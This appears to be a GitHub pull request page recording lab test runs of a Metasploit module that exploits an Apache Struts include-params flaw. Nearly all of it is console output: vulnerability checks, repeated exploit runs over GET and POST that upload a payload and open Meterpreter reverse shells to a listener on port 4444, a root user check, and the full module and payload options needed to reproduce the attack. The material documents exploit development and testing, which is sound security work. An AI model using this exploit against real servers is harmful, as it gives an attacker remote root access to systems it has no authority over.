msf exploit(struts_include_params) > rexplot
[-] Unknown command: rexplot.
msf exploit(struts_include_params) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Preparing payload...
[*] Performing HTTP POST requests to upload payload
.
[*] Payload upload complete
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.172.206

[*] Meterpreter session 6 opened (192.168.172.1:4444 -> 192.168.172.206:37434) at 2013-05-31 01:06:16 -0500
[+] Deleted /tmp/Nb777P3

meterpreter > 
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.206 - Meterpreter session 6 closed.  Reason: User exit
msf exploit(struts_include_params) > set HTTPMETHOD GET
HTTPMETHOD => GET
msf exploit(struts_include_params) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
.
[*] Payload upload complete
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.172.206
[*] Meterpreter session 7 opened (192.168.172.1:4444 -> 192.168.172.206:37435) at 2013-05-31 01:06:32 -0500
[+] Deleted /tmp/Ji4v

meterpreter > 

  • Java target
msf exploit(struts_include_params) > check

[*] Performing Check...
[*] Asking remote server to sleep for 5 seconds
rexploit
[*] The target appears to be vulnerable.
msf exploit(struts_include_params) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
...
[*] Payload upload complete
[*] Sending stage (30355 bytes) to 192.168.172.206
[*] Meterpreter session 4 opened (192.168.172.1:4444 -> 192.168.172.206:37431) at 2013-05-31 00:57:58 -0500
[!] This exploit may require manual cleanup of: YHCe4k5.jar

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux 2.6.32-38-generic (i386)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.206 - Meterpreter session 4 closed.  Reason: User exit
msf exploit(struts_include_params) > show options

Module options (exploit/multi/http/struts_include_params):

   Name             Current Setting                           Required  Description
   ----             ---------------                           --------  -----------
   CHECK_SLEEPTIME  5                                         yes       The time, in seconds, to ask the server to sleep while check
   HTTPMETHOD       GET                                       yes       Which HTTP Method to use, GET or POST (accepted: GET, POST)
   PARAMETER        ebwu                                      yes       The parameter to use for the exploit (does not have to be an expected one).
   Proxies                                                    no        Use a proxy chain
   RHOST            192.168.172.206                           yes       The target address
   RPORT            8080                                      yes       The target port
   TARGETURI        /struts2-blank/example/HelloWorld.action  yes       The path to a vulnerable struts application action
   VHOST                                                      no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.172.1    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   Java Universal


msf exploit(struts_include_params) > set HTTPMETHOD POST
HTTPMETHOD => POST
msf exploit(struts_include_params) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Preparing payload...
[*] Performing HTTP POST requests to upload payload

[*] Payload upload complete
[*] Sending stage (30355 bytes) to 192.168.172.206
[*] Meterpreter session 5 opened (192.168.172.1:4444 -> 192.168.172.206:37433) at 2013-05-31 00:58:20 -0500

[!] This exploit may require manual cleanup of: eDu6T.jar

meterpreter > 
meterpreter > sysinfo
eComputer    : ubuntu
OS          : Linux 2.6.32-38-generic (i386)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.206 - Meterpreter session 5 closed.  Reason: User exit

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants